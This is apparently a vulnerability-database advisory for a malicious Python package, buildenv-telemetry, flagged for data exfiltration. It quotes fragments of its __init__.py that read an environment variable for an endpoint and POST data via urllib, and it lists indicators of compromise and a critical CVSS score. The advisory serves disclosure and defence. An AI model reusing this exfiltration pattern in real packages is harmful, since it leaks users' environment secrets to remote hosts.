VDB
GCVE-110-OSM-2026-2500
GCVE-110-OSM-2026-2500
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration.
Payload: src/buildenv_telemetry/__init__.py
Key findings:
- Environment Variable Exfiltration in src/buildenv_telemetry/__init__.py: "os.environ.get("BUILDENV_TELEMETRY_URL")
or _DEFAULT_ENDPOINT
)
..."
- Python File Upload to Remote in src/buildenv_telemetry/__init__.py: "urllib.request.Request(
target,
data="
- POST Method Defined for Exfiltration in src/buildenv_telemetry/__init__.py: "method="POST",
)
try:
resp = urllib.request.urlopen"
IOCs:
- urls: https://abstra.io/docs, https://docs.cursor.com/context/ignore-files
- domains: python-poetry.org, pdm-project.org, abstra.io, docs.cursor.com, x4v13r.io
- emails: xavier@x4v13r.io
- payloadFileHash: 99365793534337d8211639906198939510b02d6870d19251d76c91402c7b593f
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | buildenv-telemetry | * (affected) | — |
Aliases
Browse GCVE Records
73,040 records in the GCVE database · Updated July 15, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.